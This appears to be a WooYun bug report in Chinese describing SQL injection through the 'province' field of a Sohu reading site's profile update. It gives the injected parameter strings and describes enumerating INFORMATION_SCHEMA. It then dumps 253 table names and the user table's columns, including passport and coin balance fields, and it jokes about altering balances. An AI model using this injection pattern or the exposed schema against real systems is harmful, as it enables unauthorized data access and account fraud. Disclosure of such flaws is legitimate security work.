WooYun.org

前几天报的平行越权好像已经修复了，这大周末的怎么能再让搜狐某工加班呢？
为了避开UI验证，用直接Request到服务器的方法仔细打探了一下各个参数，最终发现“所在省份”表现奇特，应该存在SQL注入。首先试了以下参数：
1',msn='2',qq='3
更新后发现MSN和QQ并没有更新，但是地址变成了“1”。这说明更新成功了，但是为什么msn和qq没成功呢？两种可能：1.过滤了？2.覆盖了？
要是1就悲剧了，先乐观点试试2。用以下参数：
1',province='2',qq='3
走起！成功了！地址显示“2”！
接下来来点高级应用？INFORMATION_SCHEMA.TABLES？INFORMATION_SCHEMA.COLUMNS？
最终253个数据表（含系统表）一览无余，顺便看了一下用户基本信息表，里面有很多敏感信息，包括搜狐passport，剩余金币，月票数量等。
以下是截取表列表：
amonitor_log
amonitor_log_chapter
book_author_yc
book_author_yc_bak
book_book
book_bookmark
book_bookshell
book_book_bak
book_category_pri
book_category_sec
book_content
book_content_bak
book_volume
book_volume_bak
category_available
CHARACTER_SETS
CLIENT_STATISTICS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_TEMPORARY_TABLES
GLOBAL_VARIABLES
INDEX_STATISTICS
INNODB_BUFFER_POOL_PAGES
INNODB_BUFFER_POOL_PAGES_BLOB
INNODB_BUFFER_POOL_PAGES_INDEX
INNODB_CMP
INNODB_CMPMEM
INNODB_CMPMEM_RESET
INNODB_CMP_RESET
INNODB_INDEX_STATS
INNODB_LOCKS
INNODB_LOCK_WAITS
INNODB_RSEG
INNODB_SYS_INDEXES
INNODB_SYS_STATS
INNODB_SYS_TABLES
INNODB_TABLE_STATS
INNODB_TRX
js_data_cp
keywords_available
keyword_time
KEY_COLUMN_USAGE
multi_passport
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
QUERY_RESPONSE_TIME
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
sell_cp
sell_cp1
sell_cp_list
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLE_STATISTICS
TEMPORARY_TABLES
THREAD_STATISTICS
TRIGGERS
t_accounting_book_income
t_accounting_contract_book_file_info
t_accounting_contract_book_info
t_accounting_contract_info
t_accounting_cp_info
t_accounting_uploadbill_file_info
t_accounting_user
t_accounting_user_cp_info
t_account_recharge_log
t_account_recharge_log_test
t_admin_group
t_admin_groupmodule
t_admin_grouppermission
t_admin_groupuser
t_admin_module
t_admin_permission
t_author_account
t_author_action_log
t_author_application
t_author_application_type
t_author_base_info
t_author_consult_info
t_author_rates
t_author_systemmsg_log
t_author_welfare_income
t_blog
t_bookman_income
t_book_ad
t_book_base_info
t_book_base_info_recover
t_book_base_info_xiaxian
t_book_base_log
t_book_black_user
t_book_chapter
t_book_chapter_20130115_recover
t_book_chapter_content
t_book_chapter_cp_zhua
t_book_chapter_leave
t_book_chapter_month_subscription
t_book_chapter_recommend
t_book_chapter_subscription
t_book_class
t_book_content_report
t_book_income
t_book_info_modify_log
t_book_integral_channel
t_book_integral_exchange_code
t_book_integral_project
t_book_into_proportion
t_book_jifen_exchange_code
t_book_jifen_project
t_book_manager
t_book_mobile_rsync_list
t_book_month_subscription
t_book_publish
t_book_recommend
t_book_relation_Info
t_book_review
t_book_review_administrator
t_book_review_administrator_operation
t_book_review_back
t_book_section
t_book_single_work_subscription
t_book_vote
t_book_vote_item
t_book_xiaxian
t_copyright_partner
t_date_dimension
t_editor
t_editor_log
t_editor_message
t_editor_recommend
t_editor_recommend_period
t_editor_recommend_type
t_fmx_book_info
t_fxm_book_chapter
t_import_book_data
t_month_dimension
t_order_box_succ
t_order_sms_advance
t_order_sms_quit
t_order_sms_receive
t_order_sms_succ
t_pay_bank_log
t_pay_bank_log_test
t_stat_msohu_activate_user_count
t_stat_msohu_dianping_info
t_stat_msohu_downloadtimes_info
t_stat_msohu_search_info
t_stat_msohu_upload_info
t_stat_mxp_company_data_list
t_stat_mxp_company_templet_day_info
t_stat_mxp_compay_day_order_info
t_stat_mxp_days_order_info
t_stat_mxp_days_paytype_info
t_stat_mxp_days_transport_info
t_stat_mxp_day_success_info
t_stat_mxp_income_recharge_info
t_stat_mxp_templet_day_info
t_stat_mxp_transport_person_info
t_stat_mxp_trans_card_info
t_stat_mxp_user_info
t_stat_ting_charge_day_info
t_stat_ting_charge_toproduct_day_info
t_stat_ting_composite_order_info
t_stat_ting_download_to_phone_info
t_stat_ting_income_day_info
t_stat_ting_income_info
t_stat_ting_income_register_info
t_stat_ting_income_topaytype_day_info
t_stat_ting_iphone_income_info
t_stat_ting_listen_day_info
t_stat_ting_mail_corp_info
t_stat_ting_monincome_topaytype_day_info
t_stat_ting_month_income
t_stat_ting_pay_user_info
t_stat_ting_person_listen_info
t_stat_ting_product_info
t_stat_ting_product_order_info
t_stat_ting_search_day_info
t_stat_ting_sub_product_day_info
t_stat_ting_sub_product_info
t_stat_ting_union_income_info
t_stat_ting_user_day_info
t_stat_ting_user_day_info_temp01
t_stat_ting_user_day_info_temp02
t_stat_ting_user_day_info_temp03
t_stat_ting_user_day_info_temp04
t_stat_ting_user_day_info_temp05
t_stat_yc_activate_user
t_stat_yc_author_income
t_stat_yc_baoyue_day
t_stat_yc_baoyue_month
t_stat_yc_book_collect
t_stat_yc_book_sell
t_stat_yc_chapter_subscription
t_stat_yc_editor
t_stat_yc_search_log
t_stat_yc_user_consumer
t_stat_yc_user_consumer_log
t_stat_yc_user_recharge
t_stat_yc_user_recharge_log
t_stat_yc_vip_user
t_stat_yc_wap_user
t_system_message
t_table_test
t_tsw_pcdownload_dayinfo
t_user_action_log
t_user_base_info
t_user_base_info_bak0528
t_user_base_info_restore
t_user_base_info_temp
t_user_base_info_test
t_user_click_book_log
t_user_click_book_log_temp
t_user_click_book_log_test
t_user_code
t_user_collect_log
t_user_dashang_log
t_user_gain_jifen_log
t_user_huodong
t_user_huodong_log
t_user_indiv_service_set
t_user_level
t_user_level_power
t_user_mobile_send_log
t_user_personal_data
t_user_promotion_log
t_user_qiandao
t_user_read_book_set
t_user_recharge_log
t_user_recharge_log_test
t_user_vote_log
t_user_wap_pay_log
t_user_wap_subscribe_log
t_user_yuepiao_log
USER_PRIVILEGES
USER_STATISTICS
VIEWS
XTRADB_ADMIN_COMMAND
XTRADB_ENHANCEMENTS
yiruite_send
以下是t_user_base_info表的列：
amonitor_state
beforeamount
collected_num
collect_num
daka_date
icon_status
id
Integral
jifen
lastpaydate
lastreturntype
level
logdate
login_date
login_num
nickname
nickname_s
passport
passport_s
payamount
remain_coin
status
user_icon
user_type
yuepiao
这要是改一把，我是不是就可以在知识的海洋里畅读了？
但是我还是喜欢公仔，不知道有没有小狐狸公仔做个小礼物？